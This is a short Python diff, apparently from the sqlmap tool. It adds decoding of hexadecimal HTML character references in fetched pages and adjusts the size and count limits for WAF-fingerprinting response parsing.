             page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
@@ -371,6 +381,16 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
                     return retVal
                 page = re.sub(r"&#(\d+);", _, page)
 
+                # e.g. &#x2019;&#x2026;&#x2122; (hex numeric refs >= U+0100; smaller ones already handled at byte-level)
+                def _(match):
+                    retVal = match.group(0)
+                    try:
+                        retVal = _unichr(int(match.group(1), 16))
+                    except (ValueError, OverflowError):
+                        pass
+                    return retVal
+                page = re.sub(r"(?i)&#x([0-9a-f]+);", _, page)
+
             # e.g. &zeta;
             page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page)
         else:
@@ -395,8 +415,8 @@ def processResponse(page, responseHeaders, code=None, status=None):
         if msg:
             logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
 
-    if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
-        rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(getUnicode(responseHeaders.headers if responseHeaders else [])), page[:HEURISTIC_PAGE_SIZE_THRESHOLD])
+    if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_COUNT_LIMIT:
+        rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(getUnicode(responseHeaders.headers if responseHeaders else [])), page[:IDENTYWAF_PARSE_PAGE_LIMIT] if not kb.checkWafMode else page[:HEURISTIC_PAGE_SIZE_THRESHOLD])
 
         with kb.locks.identYwaf:
             identYwaf.non_blind.clear()